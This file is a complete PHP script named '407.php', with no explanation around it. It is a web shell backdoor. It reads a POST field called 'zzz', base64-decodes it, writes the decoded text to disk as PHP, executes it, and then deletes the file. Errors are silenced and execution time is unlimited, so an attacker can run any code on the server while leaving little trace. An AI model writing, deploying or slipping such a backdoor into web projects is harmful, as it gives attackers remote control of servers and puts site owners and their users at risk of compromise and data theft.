407.php

<?php
error_reporting(E_ERROR);set_time_limit(0);
if(isset($_POST['zzz'])){
    $tofile='407.php';
    $a =base64_decode(strtr($_POST['zzz'], '-_,', '+/='));
    $a='<?php '.$a.'?>';
    @file_put_contents($tofile,$a);
    require_once('407.php');
    @unlink($tofile);
    exit;

}
?>